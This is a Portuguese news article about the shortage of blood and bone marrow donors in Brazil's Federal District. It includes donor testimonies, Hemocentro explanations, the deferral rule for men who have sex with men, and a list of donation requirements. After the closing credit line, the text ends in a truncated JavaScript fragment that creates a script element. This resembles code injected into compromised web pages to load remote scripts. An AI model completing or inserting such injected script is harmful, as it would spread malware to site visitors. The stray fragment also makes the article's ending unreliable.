O Distrito Federal está entre as unidades federativas que registram menos doadores de sangue e medula óssea, segundo dados do Registro Nacional de Doadores Voluntários de Medula Óssea (Redome). No total, são 45.854 pessoas cadastradas, desses, apenas 1,95% doa regularmente. O tipo sanguíneo que tem o maior déficit é o O negativo.
Nathália Borges, 26, é voluntária. Ela doa sangue há sete anos e é cadastrada no Redome. Na visão dela, a falta de informação gera resistência nas pessoas em se voluntariar na causa por medo de sentir dor ou ter complicações posteriores, principalmente em relação a medula. “É preciso que as pessoas se conscientizem. É um gesto de amor e carinho. O sangue vai ser renovado depois e a doação pode salvar uma vida que está precisando”, ressalta.
A hematologista do Hemocentro, Flávia Piazera, explica que o órgão faz o cadastro de interessados para a doação de medula com a coleta de 4 milímetros de sangue para, futuramente, caso alguém precise, o Hemocentro consiga avaliar a compatibilidade e, posteriormente, realizar a doação de medula por meio de um procedimento cirúrgico. “O paciente, ao doar medula, deve ficar em casa de repouso por uma semana para que não corra riscos”, explica. E, para o doador de sangue, é orientado não realizar atividades que exigem muito esforço físico.
Pontos a melhorar
O servidor público, Hélio Antônio, faz parte do grupo que doa sangue regularmente. Para ele, alguns quesitos poderiam ser mudados ou melhorados tanto no ato de doação de sangue como no cadastro. “O processo todo desde a identificação até o lanche após a doação demora em média uma hora. Creio que se tivermos mais pessoas envolvidas no processo, sobretudo na coleta e, ainda, mais leitos, este tempo pode baixar para algo próximo dos 40 minutos. Isso faria uma diferença muito grande para os doadores”, completa.
Ele também critica a restrição em relação a doação de sangue de homossexuais. “Penso que a restrição feita quanto à doação de sangue dos homossexuais pode ser flexibilizada. Hoje só o fato de se declarar homossexual já impede a pessoa de doar”, questiona.
Em nota o Hemocentro informou que segue o regulamentado pela Portaria nº 158 de 4 de fevereiro de 2016 do Ministério da Saúde, a qual considera inapto para doação de sangue por 12 meses “homens que tiveram relações sexuais com outros homens”.
Para doar
O Transplante de Medula Óssea é a única esperança de cura para muitos portadores de leucemias e outras doenças do sangue e do sistema imune. Caso haja interesse em doar e sobrar dúvidas sobre o processo, basta entrar no site do Hemocentro.
Requisitos para doação:
- Gozar de boa saúde (avaliação médica no Hemocentro);
- Estar alimentado (verifique no site alimentação necessária);
- Não estar em uso de medicamentos;
- Ter entre 16 a 69 anos de idade (16 e 17 anos, mediante consentimento formal do responsável legal).(verifique no site o formulário de Autorização)
- Pesar acima de 50 quilos (descontar o vestuário);
- Apresentar documento oficial com foto, em bom estado de conservação e dentro do prazo de validade. Os documentos aceitos são: carteira de identidade, carteira de trabalho, certificado de reservista, carteira nacional de habilitação, passaporte, carteira profissional emitida por classe ou carteira do doador da FHB. Em caso de cópias de documentos, estes deverão estar autenticados em cartório. Não serão aceitos crachás funcionais e carteiras estudantis;
- Ter dormido pelo menos 6 horas, com qualidade, na noite anterior à doação,
- Não praticar exercícios físicos nas 12 horas anteriores à doação;
- Não ingerir bebida alcoólica nas 12 horas anteriores à doação;
- Não ter se submetido à endoscopia há 6 meses;
- Não ter feito tatuagem, piercing ou maquiagem definitiva há 12 meses;
- Evitar fumar 02 horas antes da doação.
*Com informações da Agência UniCEUBvar d=document;var s=d.createElement(\’script\’);